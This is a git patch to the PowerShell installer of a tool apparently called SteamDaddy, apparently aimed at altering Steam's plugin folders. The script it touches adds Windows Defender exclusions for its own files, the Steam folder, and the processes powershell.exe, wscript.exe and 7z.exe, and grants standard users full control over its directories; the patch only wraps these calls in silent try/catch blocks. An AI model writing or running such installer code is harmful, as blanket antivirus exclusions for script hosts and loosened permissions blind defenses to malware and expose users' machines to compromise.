From 80faf150d1d0c1407321302eb7d6147801a7c57d Mon Sep 17 00:00:00 2001
From: contrary <admin@contrary.org>
Date: Sat, 24 Oct 2026 19:29:00 +0000
Subject: [PATCH] Update install.ps1

---
 install.ps1 | 32 +++++++++++++++++++-------------
 1 file changed, 19 insertions(+), 13 deletions(-)

diff --git a/install.ps1 b/install.ps1
index 5c8fd36..2e893ad 100644
--- a/install.ps1
+++ b/install.ps1
@@ -66,8 +66,10 @@ try {
     $destPath = Join-Path $desktop "SteamDaddy.exe"
 
     Write-Host "[SteamDaddy] Pre-registering Defender path & process exclusions..." -ForegroundColor Yellow
-    Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue
-    Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue
+    try {
+        Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue
+        Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue
+    } catch {}
 
     # ── SteamDaddy Safe-Zone (fixed pre-excluded temp directory) ─────────
     $sdTempDir = "C:\ProgramData\SteamDaddy\tmp"
@@ -76,14 +78,16 @@ try {
     }
     & icacls "C:\ProgramData\SteamDaddy" /grant "*S-1-5-32-545:(OI)(CI)F" /C /Q | Out-Null
     Write-Host "[SteamDaddy] Excluding safe-zone temp folder: $sdTempDir" -ForegroundColor Yellow
-    Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue
-    Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue
+    try {
+        Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue
+        Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue
 
-    # ── Process exclusions (Defender won't scan files written by these) ──
-    Add-MpPreference -ExclusionProcess "steam.exe"        -ErrorAction SilentlyContinue
-    Add-MpPreference -ExclusionProcess "7z.exe"           -ErrorAction SilentlyContinue
-    Add-MpPreference -ExclusionProcess "wscript.exe"      -ErrorAction SilentlyContinue
-    Add-MpPreference -ExclusionProcess "powershell.exe"   -ErrorAction SilentlyContinue
+        # ── Process exclusions (Defender won't scan files written by these) ──
+        Add-MpPreference -ExclusionProcess "steam.exe"        -ErrorAction SilentlyContinue
+        Add-MpPreference -ExclusionProcess "7z.exe"           -ErrorAction SilentlyContinue
+        Add-MpPreference -ExclusionProcess "wscript.exe"      -ErrorAction SilentlyContinue
+        Add-MpPreference -ExclusionProcess "powershell.exe"   -ErrorAction SilentlyContinue
+    } catch {}
 
     # ── Find and exclude the Steam root directory ─────────────────────────
     $steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
@@ -95,11 +99,13 @@ try {
     }
     if ($steamPath) {
         Write-Host "[SteamDaddy] Excluding Steam root folder: $steamPath" -ForegroundColor Yellow
-        Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
+        try {
+            Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
 
-        # Explicit belt-and-suspenders for the two hottest subdirs
-        Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache")       -ErrorAction SilentlyContinue
-        Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue
+            # Explicit belt-and-suspenders for the two hottest subdirs
+            Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache")       -ErrorAction SilentlyContinue
+            Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue
+        } catch {}
 
         Write-Host "[SteamDaddy] Granting modify permissions on Steam root to standard users..." -ForegroundColor Yellow
         # Grant Modify permission to standard Users group (SID: *S-1-5-32-545) on Steam root folder and targets